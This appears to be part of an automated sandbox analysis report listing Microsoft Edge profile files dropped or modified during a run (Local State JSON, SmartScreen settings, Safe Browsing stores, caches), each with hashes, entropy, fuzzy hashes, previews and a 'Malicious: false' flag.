SHA-512:	506F40717A1ECECA8FC1B2095EFBD0F4A352FDDF7C73728EF4189EC88B2E682D66882E8B4BCFAD422E34886ACAE41FBDC356A480F156E231CD29E58B15FA5540
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4f72d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089821582781293
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWTdi1zNtPMQkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVjkzItSmd6qE7lFoC
MD5:	A36DAC01EF194286EB4C406015BED435
SHA1:	6C5CD675788A72FF98B6B897C434AAF9383B6422
SHA-256:	2DD5304587046D195C5D69F3495CDC797FD7EA2824EEEE1849D23B330C39B508
SHA-512:	506F40717A1ECECA8FC1B2095EFBD0F4A352FDDF7C73728EF4189EC88B2E682D66882E8B4BCFAD422E34886ACAE41FBDC356A480F156E231CD29E58B15FA5540
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036113
Entropy (8bit):	4.001527795391341
Encrypted:	false
SSDEEP:	49152:pPoyBNEMRzlPjTPDqhh+hiKK4JxA8QdLRSKk4o7DBZOb0JUpayy3JUIhwUKb0aH4:v
MD5:	DAEB5C768EBA3E7F3266D4F27D23F2F9
SHA1:	2A7D8CEB1EAF96A42C0D5332BC936FB3705ECC9B
SHA-256:	3201FB12967A0E5CC385C325FD6B02216C0189BE147B2AA0DB2CE2EAE151CE1D
SHA-512:	F458FF58B0EEA9BF97C2973526C00756279E12B4FA8E8D4A9C23BD2B252DD5ECF9D2E49D9629A6B625F899EB0E89A3DBCFC92B64108432D738A94B1EC734B987
Malicious:	false
Preview:	.........\| .*.\|....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036113
Entropy (8bit):	4.001527795391341
Encrypted:	false
SSDEEP:	49152:pPoyBNEMRzlPjTPDqhh+hiKK4JxA8QdLRSKk4o7DBZOb0JUpayy3JUIhwUKb0aH4:v
MD5:	DAEB5C768EBA3E7F3266D4F27D23F2F9
SHA1:	2A7D8CEB1EAF96A42C0D5332BC936FB3705ECC9B
SHA-256:	3201FB12967A0E5CC385C325FD6B02216C0189BE147B2AA0DB2CE2EAE151CE1D
SHA-512:	F458FF58B0EEA9BF97C2973526C00756279E12B4FA8E8D4A9C23BD2B252DD5ECF9D2E49D9629A6B625F899EB0E89A3DBCFC92B64108432D738A94B1EC734B987
Malicious:	false
Preview:	.........\| .*.\|....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.99908208097509
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUAAwSPCUYV:YWLSGTt1o9LuLgfGBPAzkVj/T8lUAAwX
MD5:	B18D2ACE36D7E1329CAD6385FB9ACA24
SHA1:	26D1CD766C9D703CD0F2664A740092105B4F37AE
SHA-256:	185576F11EF3AB124B249B34657EAE37CF5FF12DA0E6B06C47C35EBB1282F644
SHA-512:	DCE3F000034038987E9B862C8671DA91672B83163CA38F0DCE274BE6226A8FD608153E3E1A8AE509A89313F1F84584499A273FCB47A75BA4E2B731AF25694A72
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731505043713271}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a0bb09e4-324f-436c-b0e7-e26003fb3053.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46323
Entropy (8bit):	6.087056442519544
Encrypted:	false
SSDEEP:	768:DMkbJrT8IeQcrQgxKywNi1zNtoCO3I9XZ1nn8YWP218xCio8JDSgzMMd6qD47u3U:DMk1rT8HRK3hIeP218xFo8tSmd6qE7l
MD5:	6B4B8E7F18803CE46CA60A4EB9E529F5
SHA1:	289A117BB2DE6F740743425F33CA2411B5A3D82A
SHA-256:	241AEE7B18E5390B6B4D6AF32B2CA0E403E4CC4A32D840F001937957A7E41D52
SHA-512:	5AFCB5DAF25DFA35C6B8E7B3524E060A240507A93BBE860BC57DA5D8D104B4CDF0BADF87A9083E5A4EE087B4080DE490DF0A0EEF37957DFB816744C1336B0B42
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375877840318426","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"cf719267-3f32-4f6d-9f53-09de4e346ea3"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\abe4562d-8254-491c-8c5c-bf047505af6a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46447
Entropy (8bit):	6.08678890416274
Encrypted:	false
SSDEEP:	768:DMkbJrT8IeQcrQgcKyiNi1zNtoCO31XZ1nn8YWP218xCio8JDSgzMMd6qD47u307:DMk1rT8H8KDh2P218xFo8tSmd6qE7l
MD5:	DEA7CDA4F53C20360C45ABA2CC9C3238
SHA1:	2B65D29AF49341A96F834997066C64F5D6D814E3
SHA-256:	BDD531ED7801287246A960DD30133EA0BDB2BA49D65DF0B75E7EF7ED442FFE04
SHA-512:	EB2F6A889F0ED4D09E4C21D108351AF486C8AECC25F2B636CB79C8D96D2F58E4E4E25A6FB17F23A6702CDE1F39F2630F3376DBDE70DCCB2F0718B0072A7F469F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375877840318426","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"cf719267-3f32-4f6d-9f53-09de4e346ea3"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b026a0a1-067e-4af0-9c87-4b1debae595a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44906
Entropy (8bit):	6.0959286227185805
Encrypted:	false
